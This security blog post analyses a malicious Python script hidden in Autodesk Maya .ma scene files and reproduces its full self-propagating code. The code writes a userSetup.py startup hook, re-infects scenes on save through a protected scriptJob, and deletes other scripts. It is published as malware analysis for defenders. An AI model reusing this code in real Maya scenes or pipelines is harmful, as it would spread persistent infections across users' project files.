Malicious Code Can Be Anywhere

Published: 2023-06-20
Last Updated: 2023-06-20 07:42:18 UTC
by Xavier Mertens (Version: 1)
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My Python hunting rules reported some interesting/suspicious files. The files are named with a “.ma” extension. Some of them have very low VT scores. For example, the one with a SHA256 dc16115d165a8692e6f3186afd28694ddf2efe7fd3e673bd90690f2ae7d59136 has a score of 15/59.

The “.ma” extension refers to animation projects created by Autodesk Maya, a 3D modeling and animation program[1]. The files are typically ASCI files that describe the 3D scenes. I’ve absolutely, zero-knowledge of 3D software but after some Google searches, it seems that Maya supports Python![2]. Like the documentation says:

Python scripting can be used for many tasks in Maya, from running simple commands to developing plug-ins, and several different Maya-related libraries are available targeting different tasks.

What could go wrong? If attackers (ab)use VBA macros in Microsoft Office, why not (ab)use Python in Maya? I found a reference to this type of malware back in 2020 when people discovered some “strange behaviors” in .ma files.

Here is a piece of script linked to a “createNode” action:

createNode script -n "vaccine_gene";
        rename -uid "9AA7A497-4607-1F0C-931D-E6ABE655FB34";
        addAttr -ci true -sn "nts" -ln "notes" -dt "string";
        setAttr ".b" -type "string" "petri_dish_path = cmds.internalVar(userAppDir=True) + 'scripts/userSetup.py'\npetri_dish_gene = ['import sys\\r\\n', 'import maya.cmds as cmds\\r\\n', \"maya_path = cmds.internalVar(userAppDir=True) + '/scripts'\\r\\n\", 'if maya_path not in sys.path:\\r\\n', '    sys.path.append(maya_path)\\r\\n', 'import vaccine\\r\\n', \"cmds.evalDeferred('leukocyte = vaccine.phage()')\\r\\n\", \"cmds.evalDeferred('leukocyte.occupation()')\"]\nwith open(petri_dish_path, \"w\") as f:\n\tf.writelines(petri_dish_gene)";
        setAttr ".st" 1;
        setAttr ".stp" 1;
        setAttr ".nts" -type "string" (
                "['# coding=utf-8\\r\\n', '# @Time    : 2020/07/05 15:46\\r\\n', '# @Author  : \\xe9\\xa1\\xb6\\xe5\\xa4\\xa9\\xe7\\xab\\x8b\\xe5\\x9c\\xb0\\xe6\\x99\\xba\\xe6\\x85\\xa7\\xe5\\xa4\\xa7\\xe5\\xb0\\x86\\xe5\\x86\\x9b\\r\\n', '# @File    : vaccine.py\\r\\n', '# \\xe4\\xbb\\x85\\xe4\\xbd\\x9c\\xe4\\xb8\\xba\\xe5\\x85\\xac\\xe5\\x8f\\xb8\\xe5\\x86\\x85\\xe9\\x83\\xa8\\xe4\\xbd\\xbf\\xe7\\x94\\xa8\\xe4\\xbf\\x9d\\xe6\\x8a\\xa4 \\xe4\\xb8\\x80\\xe6\\x97\\xa6\\xe6\\xb3\\x84\\xe9\\x9c\\xb2\\xe5\\x87\\xba\\xe5\\x8e\\xbb\\xe9\\x80\\xa0\\xe6\\x88\\x90\\xe7\\x9a\\x84\\xe5\\xbd\\xb1\\xe5\\x93\\x8d \\xe6\\x9c\\xac\\xe4\\xba\\xba\\xe6\\xa6\\x82\\xe4\\xb8\\x8d\\xe8\\xb4\\x9f\\xe8\\xb4\\xa3\\r\\n', 'import maya.cmds as cmds\\r\\n', 'import os\\r\\n', 'import shutil\\r\\n', '\\r\\n', '\\r\\n', 'class phage:\\r\\n', '    @staticmethod\\r\\n', '    def backup(path):\\r\\n', \"        folder_path = path.rsplit('/', 1)[0]\\r\\n\", \"        file_name = path.rsplit('/', 1)[-1].rsplit('.', 1)[0]\\r\\n\", \"        backup_folder = folder_path + '/history'\\r\\n\", \"        new_file = backup_folder + '/' + file_name + '_backup.ma '\\r\\n\", '        if not os.path.exists(backup_folder):\\r\\n', '            os.makedirs(backup_folder)\\r\\n', '        shutil.copyfile(path, new_file)\\r\\n', '\\r\\n', '    def antivirus(self):\\r\\n', '        health = True\\r\\n', '        self.clone_gene()\\r\\n', '        self.antivirus_virus_base()\\r\\n', \"        virus_gene = ['sysytenasdasdfsadfsdaf_dsfsdfaasd', 'PuTianTongQing', 'daxunhuan']\\r\\n\", '        all_script_jobs = cmds.scriptJob(listJobs=True)\\r\\n', '        for each_job in all_script_jobs:\\r\\n', '            for each_gene in virus_gene:\\r\\n', '                if each_gene in each_job:\\r\\n', '                    health = False\\r\\n', \"                    job_num = int(each_job.split(':', 1)[0])\\r\\n\", '                    cmds.scriptJob(kill=job_num, force=True)\\r\\n', \"        all_script = cmds.ls(type='script')\\r\\n\", '        if all_script:\\r\\n', '            for each_script in all_script:\\r\\n', \"                commecnt = cmds.getAttr(each_script + '.before')\\r\\n\", '                for each_gene in virus_gene:\\r\\n', '                    if commecnt:\\r\\n', '                        if each_gene in commecnt:\\r\\n', '                            try:\\r\\n', '                                cmds.delete(each_script)\\r\\n', '                            except:\\r\\n', \"                                name_space = each_script.rsplit(':',1)[0]\\r\\n\", \"                                cmds.error(u'{}\\xe8\\xa2\\xab\\xe6\\x84\\x9f\\xe6\\x9f\\x93\\xe4\\xba\\x86\\xef\\xbc\\x8c\\xe4\\xbd\\x86\\xe6\\x98\\xaf\\xe6\\x88\\x91\\xe6\\xb2\\xa1\\xe6\\xb3\\x95\\xe5\\x88\\xa0\\xe9\\x99\\xa4'.format(name_space))\\r\\n\", '        if not health:\\r\\n', '            file_path = cmds.file(query=True, sceneName=True)\\r\\n', '            self.backup(file_path)\\r\\n', '            cmds.file(save=True)\\r\\n', \"            cmds.error(u'\\xe4\\xbd\\xa0\\xe7\\x9a\\x84\\xe6\\x96\\x87\\xe4\\xbb\\xb6\\xe8\\xa2\\xab\\xe6\\x84\\x9f\\xe6\\x9f\\x93\\xe4\\xba\\x86\\xef\\xbc\\x8c\\xe4\\xbd\\x86\\xe6\\x98\\xaf\\xe6\\x88\\x91\\xe8\\xb4\\xb4\\xe5\\xbf\\x83\\xe7\\x9a\\x84\\xe4\\xb8\\xba\\xe6\\x82\\xa8\\xe6\\x9d\\x80\\xe6\\xaf\\x92\\xe5\\xb9\\xb6\\xe4\\xb8\\x94\\xe5\\xa4\\x87\\xe4\\xbb\\xbd\\xe4\\xba\\x86~\\xe4\\xb8\\x8d\\xe7\\x94\\xa8\\xe8\\xb0\\xa2~')\\r\\n\", '        else:\\r\\n', \"            cmds.warning(u'\\xe4\\xbd\\xa0\\xe7\\x9a\\x84\\xe6\\x96\\x87\\xe4\\xbb\\xb6\\xe8\\xb4\\xbc\\xe5\\x81\\xa5\\xe5\\xba\\xb7~\\xe6\\x88\\x91\\xe5\\xb0\\xb1\\xe8\\xaf\\xb4\\xe4\\xb8\\x80\\xe5\\xa3\\xb0\\xe6\\xb2\\xa1\\xe6\\x9c\\x89\\xe5\\x88\\xab\\xe7\\x9a\\x84\\xe6\\x84\\x8f\\xe6\\x80\\x9d')\\r\\n\", '\\r\\n', '    @staticmethod\\r\\n', '    def antivirus_virus_base():\\r\\n', \"        virus_base = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel'\\r\\n\", '        if os.path.exists(virus_base):\\r\\n', '            try:\\r\\n', '                os.remove(virus_base)\\r\\n', '            except:\\r\\n', \"                cmds.error(u'\\xe6\\x9d\\x80\\xe6\\xaf\\x92\\xe5\\xa4\\xb1\\xe8\\xb4\\xa5')\\r\\n\", '\\r\\n', '    def clone_gene(self):\\r\\n', \"        vaccine_path = cmds.internalVar(userAppDir=True) + '/scripts/vaccine.py'\\r\\n\", \"        if not cmds.objExists('vaccine_gene'):\\r\\n\", '            if os.path.exists(vaccine_path):\\r\\n', '                gene = list()\\r\\n', '                with open(vaccine_path, \"r\") as f:\\r\\n', '                    for line in f.readlines():\\r\\n', '                        gene.append(line)\\r\\n', '                    cmds.scriptNode(st=1,\\r\\n', '                                    bs=\"petri_dish_path = cmds.internalVar(userAppDir=True) + \\'scripts/userSetup.py\\'\\\\npetri_dish_gene = [\\'import sys\\\\\\\\r\\\\\\\\n\\', \\'import maya.cmds as cmds\\\\\\\\r\\\\\\\\n\\', \\\\\"maya_path = cmds.internalVar(userAppDir=True) + \\'/scripts\\'\\\\\\\\r\\\\\\\\n\\\\\", \\'if maya_path not in sys.path:\\\\\\\\r\\\\\\\\n\\', \\'    sys.path.append(maya_path)\\\\\\\\r\\\\\\\\n\\', \\'import vaccine\\\\\\\\r\\\\\\\\n\\', \\\\\"cmds.evalDeferred(\\'leukocyte = vaccine.phage()\\')\\\\\\\\r\\\\\\\\n\\\\\", \\\\\"cmds.evalDeferred(\\'leukocyte.occupation()\\')\\\\\"]\\\\nwith open(petri_dish_path, \\\\\"w\\\\\") as f:\\\\n\\\\tf.writelines(petri_dish_gene)\",\\r\\n', \"                                    n='vaccine_gene', stp='python')\\r\\n\", '                    cmds.addAttr(\\'vaccine_gene\\', ln=\"notes\", sn=\"nts\", dt=\"string\")\\r\\n', \"                    cmds.setAttr('vaccine_gene.notes', gene, type='string')\\r\\n\", \"        if not cmds.objExists('breed_gene'):\\r\\n\", '            cmds.scriptNode(st=1,\\r\\n', '                            bs=\"import os\\\\nvaccine_path = cmds.internalVar(userAppDir=True) + \\'/scripts/vaccine.py\\'\\\\nif not os.path.exists(vaccine_path):\\\\n\\\\tif cmds.objExists(\\'vaccine_gene\\'):\\\\n\\\\t\\\\tgene = eval(cmds.getAttr(\\'vaccine_gene.notes\\'))\\\\n\\\\t\\\\twith open(vaccine_path, \\\\\"w\\\\\") as f:\\\\n\\\\t\\\\t\\\\tf.writelines(gene)\",\\r\\n', \"                            n='breed_gene', stp='python')\\r\\n\", '\\r\\n', '    def occupation(self):\\r\\n', '        cmds.scriptJob(event=[\"SceneSaved\", \"leukocyte.antivirus()\"], protected=True)\\r\\n']");

The script is not easy to understand due to the huge amount of escaped characters, but it modifies the file "userScript.py" (located in $MAYA_APP_DIR/<version>/scripts). This file is used to set up the environment at startup time. Think about the ".bashrc" for Bash shells.

After more Googling, I found a reference to the same kind of script[3]. In the script above, I found some hex-encoded Chinese text:

  • “Infected, but I can't remove it”
  • “Your file is infected, but I thoughtfully disinfected it for you and backed it up, thank you”
  • “Your file is considered unhealthy, I just say it has no other meaning”

Conclusion: Thanks to modern software with extended script capabilities, executable code can be anywhere!

[1] https://www.autodesk.com/products/maya/overview
[2] https://help.autodesk.com/view/MAYAUL/2020/ENU/?guid=GUID-C0F27A50-3DD6-454C-A4D1-9E3C44B3C990
[3] https://gist.github.com/mottosso/5d4f43a778e9b95d6dcd6a41bb7ae609

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Keywords: Python Malware Maya 3D
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